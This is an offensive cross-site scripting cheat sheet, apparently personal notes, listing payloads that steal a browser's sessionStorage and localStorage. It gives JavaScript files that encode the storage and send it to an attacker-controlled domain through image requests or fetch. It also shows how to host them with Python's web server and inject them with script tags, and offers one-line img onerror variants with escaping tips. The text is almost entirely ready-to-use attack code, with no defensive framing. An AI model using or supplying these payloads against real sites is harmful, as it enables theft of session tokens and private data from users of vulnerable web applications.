SessionStorage

(data is kept only until tab is closed)

Hosting method:

1. First create a file name sessionstorage.js with the following content:

   let data = JSON.stringify(sessionStorage)
   let encodedData = btoa(data)
   new Image().src = "http://domain/?ss=" + encodedData;
   

2. Host the file using Python: python3 -m http.server 80

3. Inject the payload: <script src="http://ownIP/sessionstorage.js"></script>

4. Previous code on sessionstorage.js:

   let data = JSON.stringify(sessionStorage)
   let encodedData = encodeURIComponent(data)
   fetch("http://domain/?ss=" + encodedData)
   

One liner alternative:

1. Replace domain with domain you control: <img src="x" onerror="fetch('http://domain/ls=?'+encodeURIComponent(JSON.stringify(sessionStorage)))">

2. Note that can use either single quote or a backslash to escape the double quotes inside double quotes. Also if in URL need to encode the plus using %2b.

LocalStorage

(data is kept until it is explicitly deleted)

Hosting method:

1. First create a file name localstorage.js with the following content:

   let data = JSON.stringify(localStorage)
   let encodedData = btoa(data)
   new Image().src = "http://domain/?ls=" + encodedData;
   

2. Host the file using Python: python3 -m http.server 80

3. Inject the payload: <script src=http://ownIP/localstorage.js></script>

4. Previous localstorage.js:

   let data = JSON.stringify(localStorage)
   let encodedData = encodeURIComponent(data)
   fetch("http://domain/?ls=" + encodedData)
   

One liner alternative:

1. Replace domain with domain you control: <img src="x" onerror="fetch('http://domain/ls=?'+encodeURIComponent(JSON.stringify(localStorage)))">

2. Note that can use either single quote or a backslash to escape the double quotes inside double quotes. Also if in URL need to encode the plus using %2b.